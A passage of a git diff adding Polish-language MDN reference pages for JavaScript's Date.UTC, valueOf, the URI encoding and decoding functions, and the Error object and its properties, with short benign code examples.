godziny.</dd> + <dt><code>min</code> </dt> + <dd>Liczba całkowita pomiędzy 0 i 59 reprezentująca minuty.</dd> + <dt><code>sek</code> </dt> + <dd>Liczba całkowita pomiędzy 0 i 59 reprezentująca sekundy.</dd> + <dt><code>ms</code> </dt> + <dd>Liczba całkowita pomiędzy 0 i 999 reprezentująca milisekundy.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p><code>UTC</code> pobiera parametry daty oddzielone za pomocą przecinków i zwraca liczbę milisekund między 1 stycznia, 1970, 00:00:00, czasu uniwersalnego a określoną datą.</p> + +<p>Powinno używać się pełnego zapisu roku, na przykład 1998. Jeśli określony jest rok z przedziału pomiędzy 0 a 99, metoda konwertuje go do roku w 20 wieku (1900 + rok); na przykład, jeśli określiłeś go jako 95, zostanie użyty rok 1995.</p> + +<p>Metoda <code>UTC</code> różni się od konstruktora {{jsxref("Date")}} na dwa sposoby.</p> + +<ul> + <li><code>Date.UTC</code> używa czasu uniwersalnego zamiast lokalnego.</li> + <li><code>Date.UTC</code> zwraca wartość czasu jako liczbę zamiast tworzenia obiektu typu {{jsxref("Date")}}.</li> +</ul> + +<p>Jeśli parametr określony jest poza spodziewanym zasięgiem, metoda <code>UTC</code> zaktualizuje pozostałe parametry. Na przykład, jeśli użyjesz liczby 15 do określenia miesiąca, wartość parametru <code>rok</code> zostanie powiększona o 1 (rok + 1), a 3 zostanie użyte w parametrze <code>miesiąc</code>.</p> + +<p>Ponieważ <code>UTC</code> jest statyczną metodą obiektu {{jsxref("Date")}}, zawsze powinno używać się jej jako <code>Date.UTC()</code>, niż jako metodę utworzonego obiektu {{jsxref("Date")}}.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_Date.UTC" name="Przyk.C5.82ad:_Zastosowanie_Date.UTC">Przykład: Zastosowanie <code>Date.UTC()</code></h3> + +<p>Następująca instrukcja tworzy obiekt <code>Date</code> używający GMT (czasu uniwersalnego) zamiast czasu lokalnego:</p> + +<pre class="brush: js">var utcDate = new Date(Date.UTC(96, 11, 1, 0, 0, 0)); +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Date.parse()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/date/valueof/index.html b/files/pl/web/javascript/referencje/obiekty/date/valueof/index.html new file mode 100644 index 0000000000..76d54c2187 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/date/valueof/index.html @@ -0,0 +1,46 @@ +--- +title: Date.prototype.valueOf() +slug: Web/JavaScript/Referencje/Obiekty/Date/valueOf +tags: + - Date + - JavaScript + - Method + - Prototype +translation_of: Web/JavaScript/Reference/Global_Objects/Date/valueOf +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca prymitywną wartość obiektu <code>Date</code>.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>dateObj</var>.valueOf()</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<p>Brak.</p> + +<h3 id="Opis" name="Opis">Opis</h3> + +<p>Metoda <code>valueOf</code> zwraca wartość prymitywną obiektu {{jsxref("Date")}} jako typ danych liczbowych, czyli liczbę milisekund od północy 1 stycznia 1970 UTC.</p> + +<p>Ta metoda jest funkcyjnie równoważna do metody {{jsxref("Date.prototype.getTime()")}}.</p> + +<p>Ta metoda często jest nazywana wewnętrzną metodą JavaScriptu i nie jest wyraźna w kodzie.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_valueOf" name="Przyk.C5.82ad:_Zastosowanie_valueOf">Przykład: Zastosowanie <code>valueOf()</code></h3> + +<pre class="brush: js">var x = new Date(56, 6, 17); +var myVar = x.valueOf(); // przydziela -424713600000 do myVar +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Object.prototype.valueOf()")}}</li> + <li>{{jsxref("Date.prototype.getTime()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/decodeuri/index.html b/files/pl/web/javascript/referencje/obiekty/decodeuri/index.html new file mode 100644 index 0000000000..f88686b8a3 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/decodeuri/index.html @@ -0,0 +1,39 @@ +--- +title: decodeURI() +slug: Web/JavaScript/Referencje/Obiekty/decodeURI +tags: + - JavaScript +translation_of: Web/JavaScript/Reference/Global_Objects/decodeURI +--- +<div>{{jsSidebar("Objects")}}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Dekoduje Jednolity Identyfikator Zasobu (URI) utworzony wcześniej przez funkcję {{jsxref("encodeURI", "encodeURI()")}} lub podobną.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code>decodeURI(<i>encodedURI</i>)</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>encodedURI</code> </dt> + <dd>Kompletny, odkodowany Jednolity Identyfikator Zasobu.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Podmienia każdą sekwencję ucieczki (ang. + <i>escape sequence</i> + ) w zakodowanym URI znakiem, który reprezentuje.</p> + +<p>Nie dekoduje sekwencji, które nie mogłyby być wprowadzone przez {{jsxref("encodeURI", "encodeURI()")}}.</p> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("decodeURIComponent", "decodeURIComponent()")}}</li> + <li>{{jsxref("encodeURI", "encodeURI()")}}</li> + <li>{{jsxref("encodeURIComponent", "encodeURIComponent()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/decodeuricomponent/index.html b/files/pl/web/javascript/referencje/obiekty/decodeuricomponent/index.html new file mode 100644 index 0000000000..a361e777d8 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/decodeuricomponent/index.html @@ -0,0 +1,41 @@ +--- +title: decodeURIComponent() +slug: Web/JavaScript/Referencje/Obiekty/decodeURIComponent +tags: + - JavaScript +translation_of: Web/JavaScript/Reference/Global_Objects/decodeURIComponent +--- +<div> +<div> +<div>{{jsSidebar("Objects")}}</div> +</div> +</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Dekoduje komponent Jednolitego Identyfikatora Zasobu (URI) stworzonego przez {{jsxref("encodeURIComponent", "encodeURIComponent()")}} lub podobną.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code>decodeURIComponent(<em>encodedURI</em>)</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>encodedURI</code> </dt> + <dd>Odkodowany komponent Jednolitego Identyfikatora Zasobu.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Podmienia każdą sekwencję ucieczki (ang. + <i>escape sequence</i> + ) w zakodowanym komponencie URI znakiem, który ona reprezentuje.</p> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("decodeURI", "decodeURI()")}}</li> + <li>{{jsxref("encodeURI", "encodeURI()")}}</li> + <li>{{jsxref("encodeURIComponent", "encodeURIComponent()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/encodeuri/index.html b/files/pl/web/javascript/referencje/obiekty/encodeuri/index.html new file mode 100644 index 0000000000..b794a414b3 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/encodeuri/index.html @@ -0,0 +1,72 @@ +--- +title: encodeURI() +slug: Web/JavaScript/Referencje/Obiekty/encodeURI +tags: + - JavaScript + - URI +translation_of: Web/JavaScript/Reference/Global_Objects/encodeURI +--- +<div> +<div> +<div>{{jsSidebar("Objects")}}</div> +</div> +</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Koduje Jednolity Identyfikator Zasobu (URI) poprzez zamianę każdego z wystąpień pewnych znaków na jedną, dwie lub trzy sekwencje ucieczki (ang. + <i>escape sequences</i> + ) kodowania UTF-8 danego znaku.</p> + +<h2 id="Syntax" name="Syntax">Syntax</h2> + +<pre class="syntaxbox"><code>encodeURI(<em>URI</em>)</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>URI</code> </dt> + <dd>Kompletny Jednolity Identyfikator Zasobu.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Zakłada się, iż URI jest kompletnym URI, więc nie koduje znaków zarezerwowanych, mających specjalne znaczenie w URI.</p> + +<p><code>encodeURI</code> zamienia wszystkie znaki, poza podanymi poniżej, odpowiednimi sekwencjami ucieczki.</p> + +<table class="fullwidth-table"> + <tbody> + <tr> + <td class="header">Typ</td> + <td class="header">Zawiera</td> + </tr> + <tr> + <td>Znaki zarezerwowane</td> + <td><code>; , / ? : @ & = + $</code></td> + </tr> + <tr> + <td>Znaki nie podlegające ucieczce</td> + <td>Litery, cyfry, <code>- _ . ! ~ * ' ( )</code></td> + </tr> + <tr> + <td> + <i>Score</i> + </td> + <td><code>#</code></td> + </tr> + </tbody> +</table> + +<p>Zauważ, że <code>encodeURI</code> samo z siebie + + <i>nie</i> + potrafi utworzyć poprawnych żądań HTTP GET i POST, jak na przykład XMLHTTPRequest, ponieważ "&", "+", i "=" nie są kodowane, a są traktowane jako znaki specjalne w żądaniach GET i POST. Jednakże, {{jsxref("encodeURIComponent", "encodeURIComponent()")}}, koduje te znaki. Zachowania te są konsekwentnie wspomagane przez różne przeglądarki.</p> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("decodeURI", "decodeURI()")}}</li> + <li>{{jsxref("encodeURIComponent", "encodeURIComponent()")}}</li> + <li>{{jsxref("decodeURIComponent", "decodeURIComponent()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/encodeuricomponent/index.html b/files/pl/web/javascript/referencje/obiekty/encodeuricomponent/index.html new file mode 100644 index 0000000000..577cff9840 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/encodeuricomponent/index.html @@ -0,0 +1,38 @@ +--- +title: encodeURIComponent() +slug: Web/JavaScript/Referencje/Obiekty/encodeURIComponent +tags: + - JavaScript + - URI +translation_of: Web/JavaScript/Reference/Global_Objects/encodeURIComponent +--- +<div>{{jsSidebar("Objects")}}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Koduje każdy komponent Jednolitego Identyfikatora Zasobu (URI) poprzez zamianę, każdego wystąpienia pewnych znaków jedną, dwoma lub trzema sekwencjami ucieczki reprezentujące kodowanie UTF-8 znaku.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox">encodeURIComponent(str);</pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>str</code></dt> + <dd>Komponent Jednolitego Identyfikatora Zasobu.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p><code>encodeURIComponent()</code> zamienia wszystkie znaki na sekwencje ucieczki poza znakami: alfabetycznymi, cyframi, <code>- _ . ! ~ * ' ( )</code></p> + +<p>Ze względów bezpieczeństwa, powinieneś wywoływać <code>encodeURIComponent</code> na każdym parametrze podanym przez użytkownika, który będzie podany jako część URI. Na przykład, użytkownik mógł wpisać "<code>Thyme &time=again</code>" dla zmiennej <code>comment</code>. Nie użycie <code>encodeURIComponent</code> na tej zmiennej da <code>comment=Thyme%20&time=again</code>. Zauważ, że znak ampersand (<em>&</em>) i znak równości (<em>=</em> ) oznaczają nową parę kluczy i wartość. Więc, zamiast wysyłać klucz <code>comment</code> równy <code>Thyme &time=again</code>, dostaniesz dwa klucze POST, jeden równy "Thyme" , a drugi (<code>time</code>) równy again.</p> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("decodeURI", "decodeURI()")}}</li> + <li>{{jsxref("encodeURI", "encodeURI()")}}</li> + <li>{{jsxref("decodeURIComponent", "decodeURIComponent()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/error/columnnumber/index.html b/files/pl/web/javascript/referencje/obiekty/error/columnnumber/index.html new file mode 100644 index 0000000000..dbf51b3bf3 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/error/columnnumber/index.html @@ -0,0 +1,81 @@ +--- +title: Error.prototype.columnNumber +slug: Web/JavaScript/Referencje/Obiekty/Error/columnNumber +translation_of: Web/JavaScript/Reference/Global_Objects/Error/columnNumber +--- +<div>{{JSRef}} {{non-standard_header}}</div> + +<p>The <code><strong>columnNumber</strong></code> property contains the column number in the line of the file that raised this error.</p> + +<h2 id="Examples">Examples</h2> + +<h3 id="Using_columnNumber">Using <code>columnNumber</code></h3> + +<pre class="brush: js">var e = new Error('Could not parse input'); +throw e; +console.log(e.columnNumber) // 0 +</pre> + +<h2 id="Specifications">Specifications</h2> + +<p>Not part of any specification. Non-standard.</p> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{jsxref("Error.prototype.stack")}} {{non-standard_inline}}</li> + <li>{{jsxref("Error.prototype.lineNumber")}} {{non-standard_inline}}</li> + <li>{{jsxref("Error.prototype.fileName")}} {{non-standard_inline}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/error/filename/index.html b/files/pl/web/javascript/referencje/obiekty/error/filename/index.html new file mode 100644 index 0000000000..a0290eac45 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/error/filename/index.html @@ -0,0 +1,49 @@ +--- +title: Error.prototype.fileName +slug: Web/JavaScript/Referencje/Obiekty/Error/fileName +tags: + - JavaScript + - Prototyp + - Prototype + - Właściwość + - niestandardowe +translation_of: Web/JavaScript/Reference/Global_Objects/Error/fileName +--- +<div>{{JSRef}} {{non-standard_header}}</div> + +<p>Właściwość <code><strong>fileName</strong></code> zawiera ścieżkę do pliku, który spowodował błąd.</p> + +<h2 id="Opis">Opis</h2> + +<p>Ta nieopisana w żadnym standardzie właściwość zawiera ścieżkę do pliku, który spowodował błąd. Jeśli jest wywoływana z kontekstu debuggera, jak na przykład Firefox Developer Tools, zwracana jest wartość "debugger eval code".</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Użycie_fileName">Użycie <code>fileName</code></h3> + +<pre class="brush: js">var e = new Error('Błąd przy parsowaniu wejścia'); +throw e; +// wartość e.fileName powinna być czymś podobnym do "file:///C:/example.html" +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<p><span class="pl-s">Nie jest częścią żadnego standardu.</span></p> + +<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2> + +<div> +<div> + + +<p>{{Compat("javascript.builtins.Error.fileName")}}</p> +</div> +</div> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li>{{jsxref("Error.prototype.stack")}}</li> + <li>{{jsxref("Error.prototype.columnNumber")}}</li> + <li>{{jsxref("Error.prototype.lineNumber")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/error/index.html b/files/pl/web/javascript/referencje/obiekty/error/index.html new file mode 100644 index 0000000000..408b1b797b --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/error/index.html @@ -0,0 +1,246 @@ +--- +title: Error +slug: Web/JavaScript/Referencje/Obiekty/Error +tags: + - Błąd + - CustomError + - Error + - JavaScript + - Obsługa błędów +translation_of: Web/JavaScript/Reference/Global_Objects/Error +--- +<div>{{JSRef}}</div> + +<div>Kontruktor klasy <strong><code>Error</code></strong> tworzy obiekt błędu. Instancja klasy <code>Error</code> jest rzucana w momencie napotkania błędu w trakcie wykonywania programu. Klasa <code>Error</code> może być także używana do tworzenia własnych wyjątków. Poniżej przestawione zostaną wbudowane standardowe typy błędów.</div> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox notranslate">new Error([<var>message</var>[, <var>fileName</var>[, <var>lineNumber</var>]]])</pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt><code>message</code></dt> + <dd>Opcjonalny. Opis błędu zrozumiały dla użytkownika.</dd> + <dt><code>fileName</code> {{non-standard_inline}}</dt> + <dd>Opcjonalny. Wartość dla parametru <code>fileName</code> przy tworzeniu obiektu <code>Error</code>. Domyślnie to nazwa pliku zawierającego kod, który wywołał konstruktor.</dd> + <dt><code>lineNumber</code> {{non-standard_inline}}</dt> + <dd>Opcjonalny. Wartość dla paramteru <code>lineNumber</code> przy tworzeniu obiektu <code>Error</code>. Domyślnie zawiera numer linijki zawirającej wywołanie konstruktora klasy <code>Error</code>.</dd> +</dl> + +<h2 id="Opis">Opis</h2> + +<p>Błędy w trakcie wykonywania programu skutkują utworzeniem i rzuceniem nowego obiektu <code>Error</code>.</p> + +<p>This page documents the use of the <code>Error</code> object itself and its use as a constructor function. For a list of properties and methods inherited by <code>Error</code> instances, see {{jsxref("Error.prototype")}}.</p> + + + +<h3 id="Używanie_jako_funkcja">Używanie jako funkcja</h3> + +<p>Gdy <code>Error</code> jest używany jako funkcja -- bez słowa kluczowego <code>new</code>, zwraca on obiekt <code>Error</code>. Możemy więc zauważyć, że zwykłe wywołanie <code>Error</code> zwróci nam to samo co stworznie nowego obiektu <code>Error</code> przy pomocy słowa kluczowego <code>new</code>.</p> + +<pre class="notranslate"><code>// to: +const x = Error('Jestem stworzony przy pomocy wyowałania funkcji!'); +// działa tak samo jak to: +const y = new Error('Jestem stworzony przy pomocy słowa kluczowego "new"!');</code></pre> + + + +<h3 id="Typy_błędów">Typy błędów</h3> + +<p>Oprócz konstruktora generycznego <code>Error</code>, mamy jeszcze siedem innych podstawowych konstruktorów błędów w JavaScript. Dla wyjątów po stronie klienta zobacz <a href="/en-US/docs/Web/JavaScript/Guide/Statements#Exception_Handling_Statements">Exception Handling Statements</a>.</p> + +<dl> + <dt>{{jsxref("EvalError")}}</dt> + <dd>Tworzy instancje reprezentującą błąd dotyczący globalnej funkcji {{jsxref("Global_Objects/eval", "eval()")}}.</dd> + <dt>{{jsxref("InternalError")}} {{non-standard_inline}}</dt> + <dd>Tworzy instancje reprezentującą błąd, który występuje w momencie wyrzucenia wewnętrznego błędu silnika JavaScript np. "too much recursion".</dd> + <dt>{{jsxref("RangeError")}}</dt> + <dd>Tworzy instancje reprezentującą błąd, który występuje w momencie gdy zmienna numeryczna lub parametr wyjdzie poza zakres. </dd> + <dt>{{jsxref("ReferenceError")}}</dt> + <dd>Tworzy instancje reprezentującą błąd, który występuje przy próbie odwołania do nieistniejącego zasobu.</dd> + <dt>{{jsxref("SyntaxError")}}</dt> + <dd>Tworzy instancje reprezentującą błąd składni, który występuje przy parsowaniu kodu przy pomocy {{jsxref("Global_Objects/eval", "eval()")}}.</dd> + <dt>{{jsxref("TypeError")}}</dt> + <dd>Tworzy instancję reprezentującą błąd, który występuje gdy zmienna lub parametr mają niepoprawny typ.</dd> + <dt>{{jsxref("URIError")}}</dt> + <dd>Tworzy instancję reprezentującą błąd, który występuje gdy {{jsxref("Global_Objects/encodeURI", "encodeURI()")}} i {{jsxref("Global_Objects/decodeURI", "decodeURI()")}} mają przekazane nieprawidłowe parametry.</dd> +</dl> + +<h2 id="Właściwości">Właściwości</h2> + +<dl> + <dt>{{jsxref("Error.prototype")}}</dt> + <dd>Pozwala na dodawanie właściwości do instancji klasy <code>Error</code>.</dd> +</dl> + +<h2 id="Metody">Metody</h2> + +<p>Globalny obiekt <code>Error</code> sam w sobie nie zawiera metod, niemniej, dziedziczy on niektóre metody z łańcucha prototypów.</p> + +<h2 id="Error_instancje"><code>Error</code> instancje</h2> + +<div>{{page('pl/docs/Web/JavaScript/Referencje/Obiekty/Error/prototype', 'Description')}}</div> + +<h3 id="Właściwości_2">Właściwości</h3> + +<div>{{page('pl/docs/Web/JavaScript/Referencje/Obiekty/Error/prototype', 'Properties')}}</div> + +<h3 id="Metody_2">Metody</h3> + +<div>{{page('pl/docs/Web/JavaScript/Referencje/Obiekty/Error/prototype', 'Methods')}}</div> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Rzucanie_ogólnego_błędu">Rzucanie ogólnego błędu</h3> + +<p>Zazwyczaj tworzysz obiekt <code>Error</code> w celu wywołania go przy użyciu słowa kluczowego {{jsxref("Statements/throw", "throw")}}. Możesz obsłużyć tak rzucony błąd przy pomocy konstrukcji {{jsxref("Statements/try...catch", "try...catch")}}:</p> + +<pre class="brush: js notranslate">try { + throw new Error('Whoops!'); +} catch (e) { + alert(e.name + ': ' + e.message); +} +</pre> + +<h3 id="Obsługa_specyficznych_błędów">Obsługa specyficznych błędów</h3> + +<p>Jeżeli chcesz możesz obsługiwać tylko specyficzny rodzaj błędu poprzez użycie właściwości jego {{jsxref("Object.prototype.constructor", "constructor")}} lub, jeżeli używasz nowoczesnego silnika JavaScript, poprzez słowo kluczowe {{jsxref("Operators/instanceof", "instanceof")}}:</p> + +<pre class="brush: js notranslate">try { + foo.bar(); +} catch (e) { + if (e instanceof EvalError) { + alert(e.name + ': ' + e.message); + } else if (e instanceof RangeError) { + alert(e.name + ': ' + e.message); + } + // ... etc +} +</pre> + +<h3 id="Niestandardowe_typy_błędów">Niestandardowe typy błędów</h3> + +<p>Możesz chcieć zdefiniować własny typ błędu pochodzący z klasy <code>Error</code> z możliwością rzucenia błędu <code>throw new MyError()</code> i użycia <code>instanceof MyError</code> w celu sprawdzenia jego rodzaju. Skutkuje to czystszym i spójniejszym kodem obsługi błędów. Zobacz <a href="http://stackoverflow.com/questions/1382107/whats-a-good-way-to-extend-error-in-javascript">"What's a good way to extend Error in JavaScript?"</a> na StackOverflow dla dogłębniejszej analizy.</p> + +<h4 id="ES6_Custom_Error_Class">ES6 Custom Error Class</h4> + +<div class="warning"> +<p>Babel i inne transpilatory nie potrafią poprawnie obsłużyć podanego kodu bez <a href="https://github.com/loganfsmyth/babel-plugin-transform-builtin-extend">dodatkowej konfiguracji</a>.</p> +</div> + +<div class="note"> +<p>Nie które przeglądarki dodają constructor <code>CustomError</code> w stosie błędu kiedy używamy klas ES2015</p> +</div> + +<pre class="brush: js notranslate">class CustomError extends Error { + constructor(foo = 'bar', ...params) { + // Pass remaining arguments (including vendor specific ones) to parent constructor + super(...params); + + // Maintains proper stack trace for where our error was thrown (only available on V8) + if (Error.captureStackTrace) { + Error.captureStackTrace(this, CustomError); + } + + // Custom debugging information + this.foo = foo; + this.date = new Date(); + } +} + +try { + throw new CustomError('baz', 'bazMessage'); +} catch(e){ + console.log(e.foo); //baz + console.log(e.message); //bazMessage + console.log(e.stack); //stacktrace +}</pre> + +<h4 id="ES5_Custom_Error_Object">ES5 Custom Error Object</h4> + +<div class="warning"> +<p><strong>Wszystkie</strong> przeględarki dodają konstruktor <code>CustomError </code>kiedy używasz konstruktora z wykorzystaniem prototype</p> +</div> + +<pre class="brush: js notranslate">function CustomError(foo, message, fileName, lineNumber) { + var instance = new Error(message, fileName, lineNumber); + instance.foo = foo; + Object.setPrototypeOf(instance, Object.getPrototypeOf(this)); + if (Error.captureStackTrace) { + Error.captureStackTrace(instance, CustomError); + } + return instance; +} + +CustomError.prototype = Object.create(Error.prototype, { + constructor: { + value: Error, + enumerable: false, + writable: true, + configurable: true + } +}); + +if (Object.setPrototypeOf){ + Object.setPrototypeOf(CustomError, Error); +} else { + CustomError.__proto__ = Error; +} + + +try { + throw new CustomError('baz', 'bazMessage'); +} catch(e){ + console.log(e.foo); //baz + console.log(e.message) ;//bazMessage +}</pre> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('ES1')}}</td> + <td>{{Spec2('ES1')}}</td> + <td>Początkowa definicja. Zaimplementowana w JavaScript 1.1.</td> + </tr> + <tr> + <td>{{SpecName('ES5.1', '#sec-15.11', 'Error')}}</td> + <td>{{Spec2('ES5.1')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-error-objects', 'Error')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td></td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-error-objects', 'Error')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność">Kompatybilność</h2> + +<div> + + +<p>{{Compat("javascript.builtins.Error")}}</p> +</div> + +<h2 id="Zobacz_także">Zobacz także</h2> + +<ul> + <li>{{jsxref("Error.prototype")}}</li> + <li>{{jsxref("Statements/throw", "throw")}}</li> + <li>{{jsxref("Statements/try...catch", "try...catch")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/error/linenumber/index.html b/files/pl/web/javascript/referencje/obiekty/error/linenumber/index.html new file mode 100644 index 0000000000..20d725f492 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/error/linenumber/index.html @@ -0,0 +1,57 @@ +--- +title: Error.prototype.lineNumber +slug: Web/JavaScript/Referencje/Obiekty/Error/lineNumber +tags: + - JavaScript + - Prototyp + - Prototype + - Referencja + - Własność + - niestandardowe +translation_of: Web/JavaScript/Reference/Global_Objects/Error/lineNumber +--- +<div>{{JSRef}} {{non-standard_header}}</div> + +<p>Właściwość <code><strong>lineNumber</strong></code> zawiera numer linii w pliku, gdzie pojawił się błąd.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Użycie_lineNumber">Użycie <code>lineNumber</code></h3> + +<pre class="brush: js">var e = new Error('Błąd przy parsowaniu wejścia'); +throw e; +console.log(e.lineNumber) // 2 +</pre> + +<h3 id="Alternatywny_przykład_użycia_zdarzenia_error">Alternatywny przykład użycia zdarzenia <code>error</code></h3> + +<pre class="brush: js">window.addEventListener('error', function(e) { + console.log(e.lineNumber); // 5 +}); +var e = new Error('Błąd przy parsowaniu wejścia'); +throw e; +</pre> + +<p>Własność <code>lineNumber</code> jest niestandardowa i nie posiada szerokiego wsparcia – zobacz tabelę opisującą wsparcie przeglądarek dla tej własności.</p> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<p><span class="pl-s">Nie jest częścią żadnego standardu.</span></p> + +<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2> + +<div> +<div> + + +<p>{{Compat("javascript.builtins.Error.lineNumber")}}</p> +</div> +</div> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li>{{jsxref("Error.prototype.stack")}}</li> + <li>{{jsxref("Error.prototype.columnNumber")}}</li> + <li>{{jsxref("Error.prototype.fileName")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/error/message/index.html b/files/pl/web/javascript/referencje/obiekty/error/message/index.html new file mode 100644 index 0000000000..1f3983fa6b --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/error/message/index.html @@ -0,0 +1,108 @@ +--- +title: Error.prototype.message +slug: Web/JavaScript/Referencje/Obiekty/Error/message +translation_of: Web/JavaScript/Reference/Global_Objects/Error/message +--- +<div>{{JSRef}}</div> + +<p>Właściwość <code><strong>message</strong></code> jest komunikatem błędu zapisanym w sposób czytelny dla czlowieka.</p> + +<h2 id="Opis">Opis</h2> + +<p>Właściwość zawiera krótki opis błędu, jeśli jest dostępny, lub został ustawiony. <a href="/en-US/docs/Mozilla/Projects/SpiderMonkey">SpiderMonkey</a> szeroko wykorzystuje właściwość <code>message</code> w wyjątkach. Właściwość <code>message</code> jest używany, wraz z właściwością {{jsxref("Error.prototype.name", "name")}} przez metodę {{jsxref("Error.prototype.toString()")}} do tworzenia tekstowej reprezentacji obiektu Error.</p> + +<p>Domyślnie właściwość <code>message </code>jest pustym stringiem, ale to zachowanie może zostać nadpisane w instancji, poprzez przekazanie komunikatu jako pierwszy parametr do {{jsxref("Error", "Error constructor")}}.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Rzucanie_ustawionego_błędu">Rzucanie ustawionego błędu</h3> + +<pre class="brush: js">var e = new Error('Could not parse input'); // e.message is 'Could not parse input' +throw e; +</pre> + +<h2 